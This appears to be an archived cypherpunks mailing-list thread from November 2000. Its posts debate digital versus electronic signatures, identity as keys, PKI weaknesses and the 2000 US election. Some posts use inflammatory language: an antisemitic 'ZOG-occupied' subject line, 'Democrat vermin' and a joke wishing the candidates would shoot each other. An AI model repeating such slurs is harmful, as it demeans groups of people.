goodness somebody's been pointing it out. >Cybercrime begins with criminalizing digital information, >that is, to regulate who gets access to private secrets, >who runs the protection rackets: "don't trust your >computer" is the next step after "don't trust the Internet." >Confidence in both requires the assurance services of >who? Ah yes, I see. But for Homer Husband and Harriet Housewife, this is a valid point. We can download source, audit it, compile it, and then audit the crucial bits of binary to make sure nothing funny is going on with our compilers. We, as technogeeks and cryptogeeks, can set up our own trusted machines. But Homer and Harriet can't count to eleven without someone lending them a hand, and without training and dedication, there is no way in hell that they can hold enough stuff in their heads to set up a trusted machine on their own - thus "trust" will always be a leap of faith. However, even with a "machine trust" issue in the way, I don't see that digital signatures are *less* secure than the types of signatures now accepted in court. After all, signature forgery on paper documents is not unknown or impossible either, and the "Digital signature act" earlier this year allows unencrypted (!) HTTP requests received via the internet to be held as signatures in court. There is a fundamental schism here between the "identity is meat" school of thought in which our legal system is based and the "identity is bits" school of thought manifested in digital signature protocols. But that's a more fundamental idea, and I want to address it in a different post. Bear From k.brown at ccs.bbk.ac.uk Thu Nov 16 03:02:04 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 16 Nov 2000 11:02:04 +0000 Subject: CDR: Schneier: Why Digital Signatures are not Signatures (was Re:CRYPTO-GRAM, November 15, 2000) References: Message-ID: <3A13BEAC.51A45BBD@ccs.bbk.ac.uk> Jim Choate wrote: > > On Wed, 15 Nov 2000, R. A. Hettinga forwarded from a 3rd party: > > > > When the same judge sees a digital signature, he doesn't know anything > > > about Alice's intentions. He doesn't know if Alice agreed to the document, > > > or even if she ever saw it. > > It's nice to see somebody else recognize the fundamental flaw with PKC is > the god-damned key management. You didn't even read the posting did you? That isn't what he said at all. He said that the problem with ALL use of computers (which for this purpose include mobile phones, car locks, smart-cards, ATMs etc. etc.) for authentication is the binding between the person & the system that does the authentication. It doesn't matter a dam whether you use PKC, DES or the Great Seal of the Holy Roman Empire. If the equipment isn't tamper-proof, or if the signer doesn't understand how the process works or if the software isn't provably valid, there can be a problem. Ken From jya at pipeline.com Thu Nov 16 08:02:29 2000 From: jya at pipeline.com (John Young) Date: Thu, 16 Nov 2000 11:02:29 -0500 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: References: <20001116011224.B29800@cluebot.com> <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> <20001116011224.B29800@cluebot.com> Message-ID: <200011161610.LAA30123@blount.mail.mindspring.net> What is not clear in Schneier's several critiques of crypto weaknesses is what will be made of them to advance the burgeoning interests of law enforcement and the compsec industry in cybercrime control measures. While it may not be Bruce's intent to provide support for "the legitimate interests of law enforcement and industry" to combat "cybercriminality," what does appear to be evolving from the interests of the compsec industry is a close working relationship with the prime consumers of their services and products -- especially with the privitazation and melding of natsec and domsec. No doubt this is a carryover from the traditional close relationship between compsec and comsec researchers, developers and producers with government. Still, is there no alternative to giving government and corporations first, if not exclusive, choice on the best products and services, or contrarity, criminalizing activities and programs which do not succumb to government and corporate lobbying/purchasing persuasion (covert arm-twisting; sweetheart contracts; favorable standards, regulations, exceptions, etc.)? Count on one hand those who have resisted the lure and pressure to serve the nation as they serve their own interests. Count them stigmatized, broke, "renegades," outlaws, pitiful once-weres who lost touch with reality. Count those who are realistic as manifold, patriots, speakers at the best conclaves, propounders of sound advice to the wayward, reminders of what they've learned on the way is no longer true, award winners, celebrities with swelling bank accounts -- so long as the archy line is toed. Now, none of this applies to Bruce's evolving computer security body of work, which is most impressive. It's just not clear what will evolve as Counterpane takes more of his time and effort. What is clear is that cryptoanarchy, or or broader cyberanarchy, is not in his interests, any more than it is in government's, except as a bugaboo. Cybercrime begins with criminalizing digital information, that is, to regulate who gets access to private secrets, who runs the protection rackets: "don't trust your computer" is the next step after "don't trust the Internet." Confidence in both requires the assurance services of who? Ah yes, I see. From bear at sonic.net Thu Nov 16 11:14:41 2000 From: bear at sonic.net (Ray Dillinger) Date: Thu, 16 Nov 2000 11:14:41 -0800 (PST) Subject: CDR: identity-as-bits vs. identity-as-meat In-Reply-To: <200011161610.LAA30123@blount.mail.mindspring.net> Message-ID: According to current law in all nations (as far as I know), identity is meat. One person has one identity, and the identity is persistent and lifelong. All law is based on this assumption. Emerging in this forum and elsewhere is a different assumption, which is that identity is bits. If an entity has Alice's key, then that entity is Alice. Alice's person may be a different person this time, but only if Alice's last person was stupid or careless. And in this case Alice is probably better off with a different person anyway. Your dealings with Alice are still bound by the same guarantees of trust that you've always had with Alice: the laws of mathematics and the steps of the protocols. Alice's reputation and interests are likely to have changed with the change in person, but that's okay. Under the former assumption (Identity as meat) Alice transferring fortune and property to her son meant a change in the identity of the owner, and it was significant. Under the latter assumption (identity as bits) if she wants her son to now be the owner of all her stuff, she just hands her son the Alice keys and as far as anyone else is concerned nothing has changed. Alice is still the owner of the property, it's just that Alice now has a different person. Digital personas can be shared among several people, or handed off from one person to the other, without losing their integrity. This is one of their desirable properties. They can also be stolen, but so can most things of value. If your digital persona is the owner of several tons of gold in the form of digital bearer notes, and somebody else steals your digital persona, guess what? The ownership of those digital bearer notes has not changed. They are still owned by the same entity. You're just not that entity's physical person anymore. So if it is important to you that your identity remains "yours", guard your keys and audit your software, because on the net, identity is bits. If you want to impose an "identity is meat" assumption, you will have to pursue it in the meat world, where that assumption is valid -- thereby abandoning any hope of retaining the benefits of the net environment, such as anonymity or privacy. Bear From honig at sprynet.com Thu Nov 16 09:42:10 2000 From: honig at sprynet.com (David Honig) Date: Thu, 16 Nov 2000 12:42:10 -0500 Subject: CDR: Re: Aces high In-Reply-To: <3.0.5.32.20001116012821.0091d5a0@idiom.com> Message-ID: <3.0.6.32.20001116093511.007d5100@pop.sprynet.com> At 04:36 AM 11/16/00 -0500, Bill Stewart wrote: > >A good tomato throwing fight _would_ be a pretty appropriate >way to resolve this election. You can vote early and often... > Its a shame duelling is passe. From jchoate at dev.tivoli.com Thu Nov 16 10:44:34 2000 From: jchoate at dev.tivoli.com (Jim Choate) Date: Thu, 16 Nov 2000 12:44:34 -0600 Subject: CDR: Why people who don't believe in 'rights' are wrong. Message-ID: <3A142B12.9876439E@dev.tivoli.com> http://www.exlaw.com/library/1848-btl.shtml -- The Laws of Serendipity: 1. In order to discover anything, you must be looking for something. 2. If you wish to make an improved product, you must first be engaged in making an inferior one. Tivoli Certification Group, OSCT James Choate jchoate at tivoli.com Senior Engineer 512-436-1062 -------------- next part -------------- A non-text attachment was scrubbed... Name: 1848-btl.shtml Type: text/html Size: 119283 bytes Desc: not available URL: From bram at gawth.com Thu Nov 16 12:51:26 2000 From: bram at gawth.com (Bram Cohen) Date: Thu, 16 Nov 2000 12:51:26 -0800 (PST) Subject: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: On Sat, 11 Nov 2000, R. A. Hettinga wrote: > Conventional, hierarchical PKI, built around the ISO standard X.509, has > been, and will continue to be, a substantial failure. This paper examines > that form of PKI architecture, and concludes that it is a very poor fit to > the real needs of cyberspace participants. The reasons are its inherently > hierarchical and authoritarian nature, the unreasonable presumptions it > makes about the security of private keys, a range of other technical > defects, confusions about what it is that a certificate actually > authenticates, and its inherent privacy-invasiveness. Alternatives are > identified. In the vast majority of cases, preventing man in the middle attacks is a waste of time. -Bram Cohen From tcmay at got.net Thu Nov 16 13:00:48 2000 From: tcmay at got.net (Tim May) Date: Thu, 16 Nov 2000 13:00:48 -0800 Subject: CDR: Re: identity-as-bits vs. identity-as-meat In-Reply-To: References: Message-ID: At 11:14 AM -0800 11/16/00, Ray Dillinger wrote: >According to current law in all nations (as far as I know), >identity is meat. One person has one identity, and the >identity is persistent and lifelong. All law is based on >this assumption. Not so fast. Corporations sign legally-binding contracts every day. Institutions enter into leases, contracts, agreements, and other legally-binding arrangements. And the issue of their "identity" is not a matter of _meat_. We don't absolve Boeing of contracts because the guy who signed a contract, or even the N guys, are dead. Q.E.D., signatures are more than just meat. And Boeing's _identity_, vis-a-vis things it signs, is more than just meat. Usually we say that Boeing's signing officers/authorities, those who enter the signatures on relevant documents, are authorized to do so by Boeing. There is much case law about all of this, I'm sure. (I've read anecdotal reports about how corporate mergers involve large teams of lawyers and officers of all parties signing a blizzard of documents, and in carefully controlled order so as to minimized chances for deadlock or fraud. A complicated protocol, one which crypto may _someday_ be part of.) A guy somewhere in Boeing who uses his PGP signature on some document is neither assumed automatically to be committing Boeing to some contract ("...it depends") nor would his death (the meat is gone) mean that Boeing is free to ignore some contract ("...it depends"). I'm obviously not a lawyer. Some here are. But this is still a specialty area. Moreover, this is very little relevant case law. Schneier's warnings are useful, but, as others have said, is obvious to nearly anyone. We on this list began talking about this issue in 1992. There will be much case law, much role for the crypto equivalient of "handwriting experts," as the years go by. And we can expect a spectrum of signing technologies and strengths. For example, the mundane auto-signing which someone may use for their e-mail is substantially less persuasive ("probative," I think the lawyers would say) than an ultra-high-security, backed-with-a-bond key which Boeing's Legal Department uses to digitally sign sensitive papers. I believe Greg Broiles is still working for Signet Assurance, www.sac.net, which is one company tackling parts of this problem. Whether they will be a dominant player is of course unknown to me. Anyway, lots of issues. But "meat" is one of the least important issues. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From rah at shipwright.com Thu Nov 16 10:37:37 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 16 Nov 2000 13:37:37 -0500 Subject: CDR: Re: Schneier: When is a Signature not a Signature? When it's a chad. Message-ID: --- begin forwarded text From tcmay at got.net Thu Nov 16 10:39:56 2000 From: tcmay at got.net (Tim May) Date: Thu, 16 Nov 2000 13:39:56 -0500 Subject: CDR: Re: Aces high In-Reply-To: <3.0.6.32.20001116093511.007d5100@pop.sprynet.com> References: <3.0.6.32.20001116093511.007d5100@pop.sprynet.com> Message-ID: At 12:42 PM -0500 11/16/00, David Honig wrote: >At 04:36 AM 11/16/00 -0500, Bill Stewart wrote: >> >>A good tomato throwing fight _would_ be a pretty appropriate >>way to resolve this election. You can vote early and often... > > > >Its a shame duelling is passe. > It's sad to see so many otherwise-careful people calling for "flips of a coin," "hands of poker," and "duels at sunrise." Even if meant in jest, as a comment on the situation, it undermines the basic issue of law. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From tom at ricardo.de Thu Nov 16 04:56:26 2000 From: tom at ricardo.de (Tom Vogt) Date: Thu, 16 Nov 2000 13:56:26 +0100 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine References: Message-ID: <3A13D97A.31F414C1@ricardo.de> Tim May wrote: > The claim is that if they can "prove" they were unable to have them > postmarked by the time polls closed in Florida, due to the violence > or whatever, that maybe they will still be allowed in. how can you be unable to do something as simple as sending a letter by a deadline you know like several months ahead? From sunder at sunder.net Thu Nov 16 11:33:51 2000 From: sunder at sunder.net (sunder) Date: Thu, 16 Nov 2000 14:33:51 -0500 Subject: CDR: Re: References: <200011151705.AA1371472326@mail.jester.com> Message-ID: <3A14369F.25F0CF0@sunder.net> Mike Binas wrote: > > can you please send me some credit card numbers. Sure here are the numbers to call for CC's: 1-800-955-7070 1-800-950-5114 1 716 841 2424 1-800-359-3557 ext. 900 -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From sunder at sunder.net Thu Nov 16 11:38:03 2000 From: sunder at sunder.net (sunder) Date: Thu, 16 Nov 2000 14:38:03 -0500 Subject: CDR: hey ummm... References: Message-ID: <3A14379B.17BC8820@sunder.net> JONCON88 at aol.com wrote: > > how do you make a stink bomb? Pull your head out of your ass and smell yourself. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From obfuscation at beta.freedom.net Thu Nov 16 14:49:33 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Thu, 16 Nov 2000 14:49:33 -0800 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) Message-ID: <200011162251.OAA18914@cyberpass.net> Keep in mind that the recent E-Sign bill is not about digital signatures. It's about electronic signatures. An electronic signature doesn't necessarily have to have anything to do with cryptography. It is simply an electronic means of registering consent. This may be as simple as a mouse click, or pressing a button on your telephone keypad to indicate consent to some charge. The insecurity of digital signatures pales when we realize how little security there is in the rest of the world. Handwritten and electronic signatures are no more secure than digital ones. As an aside, the arguments against digital signatures apply to all of cryptography, and by extension to all of computing. By these arguments, we can never trust anything our computers do. We might as well toss the whole lot into the trash bin. Ob From obfuscation at beta.freedom.net Thu Nov 16 14:49:33 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Thu, 16 Nov 2000 14:49:33 -0800 Subject: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) Message-ID: <200011162250.OAA19504@blacklodge.c2.net> Keep in mind that the recent E-Sign bill is not about digital signatures. It's about electronic signatures. An electronic signature doesn't necessarily have to have anything to do with cryptography. It is simply an electronic means of registering consent. This may be as simple as a mouse click, or pressing a button on your telephone keypad to indicate consent to some charge. The insecurity of digital signatures pales when we realize how little security there is in the rest of the world. Handwritten and electronic signatures are no more secure than digital ones. As an aside, the arguments against digital signatures apply to all of cryptography, and by extension to all of computing. By these arguments, we can never trust anything our computers do. We might as well toss the whole lot into the trash bin. Ob From obfuscation at beta.freedom.net Thu Nov 16 14:54:46 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Thu, 16 Nov 2000 14:54:46 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... Message-ID: <200011162256.OAA19473@cyberpass.net> Bram Cohen writes: > In the vast majority of cases, preventing man in the middle attacks is a > waste of time. In the sense that, in the vast majority of communications, there is no man in the middle attack being mounted? Couldn't the same thing be said of cryptography, since in the vast majority of cases there is no eavesdropping? The point in both cases is that if you construct a protocol which has weaknesses, eventually people may begin to exploit them. Building a supposedly secure crypto protocol which is weak against a man in the middle attack is an invitation to trouble. If you had reason to use cryptography in the first place, you have reason to fear a man in the middle attack. Designing against that threat is not a waste of time, it is insurance against future troubles. Ob From obfuscation at beta.freedom.net Thu Nov 16 14:54:46 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Thu, 16 Nov 2000 14:54:46 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <200011162255.OAA19650@blacklodge.c2.net> Bram Cohen writes: > In the vast majority of cases, preventing man in the middle attacks is a > waste of time. In the sense that, in the vast majority of communications, there is no man in the middle attack being mounted? Couldn't the same thing be said of cryptography, since in the vast majority of cases there is no eavesdropping? The point in both cases is that if you construct a protocol which has weaknesses, eventually people may begin to exploit them. Building a supposedly secure crypto protocol which is weak against a man in the middle attack is an invitation to trouble. If you had reason to use cryptography in the first place, you have reason to fear a man in the middle attack. Designing against that threat is not a waste of time, it is insurance against future troubles. Ob From tom at ricardo.de Thu Nov 16 06:12:06 2000 From: tom at ricardo.de (Tom Vogt) Date: Thu, 16 Nov 2000 15:12:06 +0100 Subject: CDR: Re: the ballot References: <3A11824D.CB8012DE@ricardo.de> Message-ID: <3A13EB36.9DA2173A@ricardo.de> Tim May wrote: > And, though it's undeniably funny, it grossly misrepresents the > ballot issue. In fact, the "butterfly ballot" issue has been put on > the back burner by the Democrat vermin. They are putting their > efforts into re-sampling and re-counting and fiddling with the > ballots in Volusia County, Broward County, Dade County, and Palm > Beach County. I know. this list is full of that stuff, in case you haven't noticed. :) > The whole charade is delicious to watch. I agree. personally, I'd vote for equipping both of the guys with six-shooters and whoever survives it gets the job. if the planet is lucky, they'll kill each other. From ravage at ssz.com Thu Nov 16 13:13:41 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 15:13:41 -0600 (CST) Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: On Thu, 16 Nov 2000, R. A. Hettinga wrote: > At 1:12 AM -0500 on 11/16/00, Declan McCullagh wrote: > > > Bruce's article is well-written, but it covers ground already > > well-trodden by others. > > Certainly. > > Carl Ellison, Perry Metzger, and even law professors like Jane Kauffman > Wynn, have been saying this stuff for years. Bullshit. They've all dancing around the issue for years. Not one of them has proposed a solution or even a decent description of the various parameters and facets. I challenge you to provide a URL that provide real world key management issues and/or solutions. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Thu Nov 16 13:14:06 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 15:14:06 -0600 (CST) Subject: CDR: New Scientist article re: the Riemann hypothesis (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Tue, 14 Nov 2000 12:57:08 -0500 (EST) From: "P.J. Ponder" To: cryptography at c2.net Subject: New Scientist article re: the Riemann hypothesis There is an interesting article in the New Scientist about attempts to prove the Reimann Hypothesis. Alain Connes is one of the people mentioned; he's working on a method based on quantum chaos. The article doesn't mention cryptography, oddly, among the fields that might be effected if the hypothesis is proven. http://www.newscientist.com/features/features_226444.html From ravage at ssz.com Thu Nov 16 13:16:53 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 15:16:53 -0600 (CST) Subject: CDR: identity-as-bits vs. identity-as-meat In-Reply-To: Message-ID: On Thu, 16 Nov 2000, Ray Dillinger wrote: > Emerging in this forum and elsewhere is a different assumption, > which is that identity is bits. No, it is a secure proxy protocol through bits that doesn't require physical (and usualy proximate) authentication. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Thu Nov 16 13:17:37 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 15:17:37 -0600 (CST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: On Thu, 16 Nov 2000, Bram Cohen wrote: > In the vast majority of cases, preventing man in the middle attacks is a > waste of time. Because in the vast majority of cases it's not possible. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From bram at gawth.com Thu Nov 16 15:33:11 2000 From: bram at gawth.com (Bram Cohen) Date: Thu, 16 Nov 2000 15:33:11 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... Message-ID: On Thu, 16 Nov 2000 obfuscation at beta.freedom.net wrote: > Bram Cohen writes: > > In the vast majority of cases, preventing man in the middle attacks is a > > waste of time. > > In the sense that, in the vast majority of communications, there is no > man in the middle attack being mounted? Yes. > Couldn't the same thing be said of cryptography, since in the vast > majority of cases there is no eavesdropping? Yes, but it's a less vast majority than the ones for which man in the middle is happening. > The point in both cases is that if you construct a protocol which has > weaknesses, eventually people may begin to exploit them. And if you build a protocol which is a pain to use, noone will use it. -Bram Cohen From rah at shipwright.com Thu Nov 16 12:48:12 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 16 Nov 2000 15:48:12 -0500 Subject: CDR: Re: identity-as-bits vs. identity-as-meat In-Reply-To: References: Message-ID: ...which brings us to http://www.acs.ohio-state.edu/units/law/swire1/pscrypto.htm Which is, mostly, based on Professor Peter Swire's opinion on the cypherpunk "identity is bits" paradigm delivered at FC97, though apparently edited some since then. Not that I agree with him, at all, actually, but there are *lots* of twisty bits in there to wrestle with. Cheers, RAH At 11:14 AM -0800 on 11/16/00, Ray Dillinger wrote: > According to current law in all nations (as far as I know), > identity is meat. One person has one identity, and the > identity is persistent and lifelong. All law is based on > this assumption. > > Emerging in this forum and elsewhere is a different assumption, > which is that identity is bits. If an entity has Alice's key, > then that entity is Alice. Alice's person may be a different > person this time, but only if Alice's last person was stupid or > careless. And in this case Alice is probably better off with > a different person anyway. Your dealings with Alice are still > bound by the same guarantees of trust that you've always had > with Alice: the laws of mathematics and the steps of the protocols. > Alice's reputation and interests are likely to have changed with > the change in person, but that's okay. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From egerck at nma.com Thu Nov 16 15:53:28 2000 From: egerck at nma.com (Ed Gerck) Date: Thu, 16 Nov 2000 15:53:28 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... References: Message-ID: <3A147378.AEF5D725@nma.com> > http://www.anu.edu.au/people/Roger.Clarke/II/PKIMisFit.html > > Public Key Infrastructure: An Artifact Ill-Fitted to the Needs of the > Information Society > > Abstract > > It has been conventional wisdom that, for e-commerce to fulfill its > potential, each party to a transaction must be confident in the identity of > the others. This is the law for commerce, except for cash transactions of non-controlled goods. Firearm sales usually require proof of identity (at least) even for a cash transaction. > Digital signature technology, based on public key cryptography, > has been claimed as the means whereby this can be achieved. No. The only thing claimed in digital signature technology is that a message was signed by a key which has a strong binding to an identifier: Section 11.2 of X.509v3 – “Management of certificates”– states that the certificate allows an association between a name called “unique distinguished name,” or DN for the user, and the user’s public-key: “A certificate associates the public key and unique distinguished name of the user it describes.” However, the same user can have different DNs in different CAs, or can have the same DN in different CAs even if the user is not the first to use it in any of the CAs. So, nowhere in X.509 or in PKIX (which stands for PKI with X.509) is 'claimed' that digital certificates provide proof of identity. This is a serious mistake in this paper, which is however a quite common misconception (unfortunately fueled by CAs, sometimes). [see "Overview of Certification Systems" at http://www.mcg.org.br/certover.pdf -- originally published in 1997 and downloaded more than 200,000 or that I care to count; mirrored at http://www.thebell.net/papers/certover.pdf and elsewhere]. BTW, this is also Bruce Schneier's unfortunate mistake, in his latest newsletter. And a digital certificate is certainly less of a seal than of a signature because a digital signature is not bound at all to the document but to the contents of the document. Even if a document has its contents erased (chemically, or with lasers or otherwise), the seal remains intact whereas the digital signature would cease to work. > Digital > signatures do little, however, unless a substantial infrastructure is in > place to provide a basis for believing that the signature means something > of significance to the relying party. Wrong. Let's repeat -- if a PKI does not exist, then all digital signatures work without a PKI and the statement above is wrong. If a PKI exists, the whole paper is moot. A correct statement would be to say that PKIs do exist in domains of trust (which domains can even extend to the whole world, so they are not necessarily "small" in the geographic sense) and that in each domain digital certificates work fine. This applies not only to X.509 or PKIX but also to PGP. > Conventional, hierarchical PKI, built around the ISO standard X.509, has > been, and will continue to be, a substantial failure. ;-) It is a good business, though. > This paper examines > that form of PKI architecture, and concludes that it is a very poor fit to > the real needs of cyberspace participants. The reasons are its inherently > hierarchical and authoritarian :-) Maybe a day will come that a certificate will order me around, but this may be too far in the future to be of any concern > nature, the unreasonable presumptions it > makes about the security of private keys, a range of other technical > defects, confusions about what it is that a certificate actually > authenticates, and its inherent privacy-invasiveness. Alternatives are > identified. All this is a deja-vu of other papers, including not only my own "Overview of Certification Systems" of 1997, with a lot of added mistakes. Cheers, Ed Gerck From ptrei at rsasecurity.com Thu Nov 16 12:55:51 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Thu, 16 Nov 2000 15:55:51 -0500 Subject: CDR: RE: Aces high Message-ID: A few years ago, the Swedish parliment was divided between two parties perfectly evenly. There were quite a number of votes where tie votes were broken by coin toss. (We have some follks over from our Stockholm office. We were surprised that they were'nt more amused by our election (many outlanders are quite snide about it), and on asking, learned the above.) Peter > ---------- > From: Tim May[SMTP:tcmay at got.net] > Reply To: Tim May > Sent: Thursday, November 16, 2000 1:39 PM > To: Multiple recipients of list > Subject: Re: Aces high > > At 12:42 PM -0500 11/16/00, David Honig wrote: > >At 04:36 AM 11/16/00 -0500, Bill Stewart wrote: > >> > >>A good tomato throwing fight _would_ be a pretty appropriate > >>way to resolve this election. You can vote early and often... > > > > > > >Its a shame duelling is passe. > > > > It's sad to see so many otherwise-careful people calling for "flips > of a coin," "hands of poker," and "duels at sunrise." > > Even if meant in jest, as a comment on the situation, it undermines > the basic issue of law. > > > --Tim May > -- > (This .sig file has not been significantly changed since 1992. As the > election debacle unfolds, it is time to prepare a new one. Stay tuned.) > > From juicy at melontraffickers.com Thu Nov 16 16:01:46 2000 From: juicy at melontraffickers.com (A. Melon) Date: Thu, 16 Nov 2000 16:01:46 -0800 Subject: CDR: Re: Schneier... Message-ID: Eric wrote: > I did a lot of the design for a secure smartcard keyboard that was > produced a few years ago by a company called N*Able (bought last year by Speaking of secure keyboards, what would one look for inside the keyboard to determine if it were compromised? Or would the best approach be to buy a new keyboard, open it, and photograph the interior with a good camera under good light at close range, perhaps subtly marking various items first and recording the marks. And perhaps also using some sort of sealant on the edges when closing it back up that would show any tampering? From gbroiles at netbox.com Thu Nov 16 16:03:57 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 16 Nov 2000 16:03:57 -0800 Subject: CDR: Re: identity-as-bits vs. identity-as-meat In-Reply-To: ; from tcmay@got.net on Thu, Nov 16, 2000 at 01:00:48PM -0800 References: Message-ID: <20001116160356.A11041@ideath.parrhesia.com> On Thu, Nov 16, 2000 at 01:00:48PM -0800, Tim May wrote: > > And we can expect a spectrum of signing technologies and strengths. > For example, the mundane auto-signing which someone may use for their > e-mail is substantially less persuasive ("probative," I think the > lawyers would say) than an ultra-high-security, backed-with-a-bond > key which Boeing's Legal Department uses to digitally sign sensitive > papers. > > I believe Greg Broiles is still working for Signet Assurance, > www.sac.net, which is one company tackling parts of this problem. > Whether they will be a dominant player is of course unknown to me. Actually, yesterday was my last day on Signet's payroll; there has been some writing (both English and Java) regarding risk transfer, signatures, evidence, etc., at Signet, but the legal and technical people who were gathered at Signet have pretty much dispersed to other, more fruitful projects. I don't know what direction(s) the company will move in the future. I seem to be eternally a few hours away from finishing a paper on the legal aspects of digital signatures - but the really short version is that context and intent are crucial. Software applications and business applications which don't take those aspects of a signature into account are likely to be useless at best and dangerous at worst. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From gbroiles at netbox.com Thu Nov 16 16:28:50 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 16 Nov 2000 16:28:50 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <3A147378.AEF5D725@nma.com>; from egerck@nma.com on Thu, Nov 16, 2000 at 03:53:28PM -0800 References: <3A147378.AEF5D725@nma.com> Message-ID: <20001116162849.C11041@ideath.parrhesia.com> On Thu, Nov 16, 2000 at 03:53:28PM -0800, Ed Gerck wrote: > > http://www.anu.edu.au/people/Roger.Clarke/II/PKIMisFit.html > > > > Public Key Infrastructure: An Artifact Ill-Fitted to the Needs of the > > Information Society > > > > Abstract > > > > It has been conventional wisdom that, for e-commerce to fulfill its > > potential, each party to a transaction must be confident in the identity of > > the others. > > This is the law for commerce, except for cash transactions of non-controlled > goods. Firearm sales usually require proof of identity (at least) even for a > cash transaction. That's a matter of state law - Federal law doesn't (yet) regulate firearm transactions between two residents of the same state where neither is licensed federally as a firearms dealer, so long as the firearms themselves aren't specially controlled (like Class 3 full-auto weapons, or short- barreled rifles/shotguns, etc). Nevertheless, the main point above is wrong, too - commercial law certainly does NOT require parties to be confident about the identity of counterparties. In most circumstances, identity is irrelevant; and even in disputed transactions, it's very rare that identity becomes crucial. Further, the identity of counterparties isn't fixed or decided at the time a contract is formed - one or more of the participants may later want to correct, amend, or restate the contractual listing of the parties, to include or exclude parties who are thought to have greater or fewer assets, or greater or lesser culpability, in order to enhance their chances for successful litigation. There's a persistent superstition among technologists who do ecommerce work that knowing someone's identity is necessary or sufficient to successfully litigate against them - neither side of that assumption is true. It can be the hardest thing in the world to successfully serve a summons and complain on a well-known party - cf. the ligitation against the Scientology head, whose name escapes me at the moment. On the other hand, big companies angry about message-board postings have been filing complaints very successfully against unknown (or pseudonymously named) entities, much to the aggravation of people who believe that their marginally greater understanding of technology makes them somehow unreachable or unaccountable. Even assuming that someone is successfully served with a complaint, that's a long way from winning a lawsuit, which is a long way from collecting on a judgement. Traditional non-legal means of enforcing contracts - like adding the person to a blacklist of "naughty debtors" doesn't depend on any sort of proof of identity or proof that a contract ever existed, or was breached - it's easy (if you're a commercial entity of at least moderate size) to add people you believe owe you money to the credit reporting agencies' databases, whether your target is an individual or a business. The reporting agencies require no proof at all - they'll accept the creditors' representations about the alleged debt, and proceed from there. Identity - and complicated theoretical proofs of identity - are not especially important in commercial law or litigation. It's relatively easy to follow the paths of money and/or goods in commercial transactions - and where it's not, the likelihood of recovery is slim even if the counterparty is well-identified, so litigation is unlikely. Identity does have the advantage of being a very familiar idea, so it's 